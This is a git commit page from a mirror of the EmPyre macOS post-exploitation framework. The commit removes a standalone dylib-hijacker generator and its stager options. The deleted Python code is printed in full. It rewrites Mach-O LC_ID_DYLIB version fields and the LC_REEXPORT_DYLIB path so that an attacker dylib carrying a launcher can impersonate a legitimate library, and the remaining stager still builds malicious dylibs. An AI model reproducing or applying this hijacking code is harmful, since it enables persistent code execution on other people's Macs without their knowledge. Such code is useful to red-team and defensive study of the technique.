admin/EmpireProject-EmPyre
1
0
Fork 0
mirror of https://github.com/EmpireProject/EmPyre synced 2026-06-08 10:57:53 +00:00
Code Issues Packages Projects Releases Wiki Activity

Removed standalone hijacker creation

Browse Source
This commit is contained in:
xorrior
2016-10-03 13:03:31 -04:00
parent 7424e42f94
commit ee2bf516d3
4 changed files with 2 additions and 166 deletions
Download Patch File Download Diff File Expand all files Collapse all files
data/misc/hijackers/template.dylib
BIN
View File
Binary file not shown.
data/misc/hijackers/template64.dylib
BIN
View File
Binary file not shown.
lib/common/stagers.py
-146
View File
@@ -396,152 +396,6 @@ class Stagers:
else:
print helpers.color("[!] Unable to patch dylib")
def generate_dylibHijacker(self, attackerDylib, targetDylib, LegitDylibLocation):
LC_HEADER_SIZE = 0x8
def checkPrereqs(attackerDYLIB, targetDYLIB):
if not os.path.exists(targetDYLIB):
print helpers.color("[!] Path for legitimate dylib is not valid")
return False
attacker = open(attackerDYLIB, 'rb')
target = open(targetDYLIB, 'rb')
attackDylib = macholib.MachO.MachO(attacker.name)
targetDylib = macholib.MachO.MachO(target.name)
if attackDylib.headers[0].header.cputype != targetDylib.headers[0].header.cputype:
print helpers.color("[!] Architecture mismatch!")
return False
return True
def findLoadCommand(fileHandle, targetLoadCommand):
#print helpers.color("In findLoadCommand function")
#offset of matches load commands
matchedOffsets = []
try:
macho = macholib.MachO.MachO(fileHandle.name)
if macho:
for machoHeader in macho.headers:
fileHandle.seek(machoHeader.offset, io.SEEK_SET)
fileHandle.seek(machoHeader.mach_header._size_, io.SEEK_CUR)
loadCommands = machoHeader.commands
for loadCommand in loadCommands:
if targetLoadCommand == loadCommand[0].cmd:
matchedOffsets.append(fileHandle.tell())
fileHandle.seek(loadCommand[0].cmdsize, io.SEEK_CUR)
except Exception, e:
raise e
matchedOffsets = None
return matchedOffsets
def configureVersions(attackerDylib, targetDylib):
#print helpers.color("In configureVersions function")
try:
fileHandle = open(targetDylib, 'rb+')
versionOffsets = findLoadCommand(fileHandle, macholib.MachO.LC_ID_DYLIB)
if not versionOffsets or not len(versionOffsets):
return False
fileHandle.seek(versionOffsets[0], io.SEEK_SET)
fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR)
#extract current version
currentVersion = fileHandle.read(4)
#extract compatibility version
compatibilityVersion = fileHandle.read(4)
fileHandle.close()
fileHandle = open(attackerDYLIB, 'rb+')
versionOffsets = findLoadCommand(fileHandle, macholib.MachO.LC_ID_DYLIB)
if not versionOffsets or not len(versionOffsets):
return False
for versionOffset in versionOffsets:
fileHandle.seek(versionOffset, io.SEEK_SET)
fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR)
#set current version
fileHandle.write(currentVersion)
#set compatability version
fileHandle.write(compatibilityVersion)
fileHandle.close()
except Exception, e:
raise e
return True
def configureReExport(attackerDylib, targetDylib, LegitDylibLocation):
try:
fileHandle = open(attackerDylib,'rb+')
reExportOffsets = findLoadCommand(fileHandle, macholib.MachO.LC_REEXPORT_DYLIB)
if not reExportOffsets or not len(reExportOffsets):
return False
for reExportOffset in reExportOffsets:
fileHandle.seek(reExportOffset, io.SEEK_SET)
fileHandle.seek(0x4, io.SEEK_CUR)
commandSize = struct.unpack('<L', fileHandle.read(4))[0]
pathOffset = struct.unpack('<L', fileHandle.read(4))[0]
fileHandle.seek(reExportOffset + pathOffset, io.SEEK_SET)
pathSize = commandSize - (fileHandle.tell() - reExportOffset)
data = LegitDylibLocation + '\\0' * (pathSize - len(LegitDylibLocation))
fileHandle.write(data)
fileHandle.close()
except Exception, e:
raise e
return False
return True
def configure(attackerDylib, targetDylib, LegitDylibLocation):
#print helpers.color("In configure function")
if not configureVersions(attackerDylib, targetDylib):
return False
if not configureReExport(attackerDylib, targetDylib, LegitDylibLocation):
return False
return True
if not checkPrereqs(attackerDylib, targetDYLIB):
return ""
if not configure(attackerDylib, targetDylib, LegitDylibLocation):
return ""
hijacker = open(attackerDylib,'rb')
hijackerBytes = hijacker.read()
return hijackerBytes
def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm):
lib/stagers/dylib.py
+2 -20
View File
@@ -1,5 +1,5 @@
from lib.common import helpers
import os
class Stager:
@@ -41,16 +41,6 @@ class Stager:
'Required' : True,
'Value' : 'False'
},
'RPath' : {
'Description' : 'Full path of the legitimate dylib as it would be on a target system.',
'Required' : False,
'Value' : ''
},
'LocalDylibPath' : {
'Description' : 'Local path to the legitimate dylib used in the vulnerable application. Used to configure the proper version. Required if Hijacker is set to True.',
'Required' : False,
'Value' : ''
},
'OutFile' : {
'Description' : 'File to write the dylib.',
'Required' : True,
@@ -81,8 +71,7 @@ class Stager:
arch = self.options['Arch']['Value']
LittleSnitch = self.options['LittleSnitch']['Value']
hijacker = self.options['Hijacker']['Value']
legitDylib = self.options['LocalDylibPath']['Value']
rpath = self.options['RPath']['Value']
if arch == "":
print helpers.color("[!] Please select a valid architecture")
return ""
@@ -98,11 +87,4 @@ class Stager:
launcher = launcher.strip('echo').strip(' | python &').strip("\"")
dylib = self.mainMenu.stagers.generate_dylib(launcherCode=launcher, arch=arch, hijacker=hijacker)
if hijacker.lower() == 'true' and len(legitDylib) and len(rpath):
f = open('/tmp/tmp.dylib', 'wb')
f.write(dylib)
f.close()
dylib = self.mainMenu.stagers.generate_dylibHijacker(attackerDylib="/tmp/tmp.dylib", targetDylib=legitDylib, LegitDylibLocation=rpath)
os.remove('/tmp/tmp.dylib')
return dylib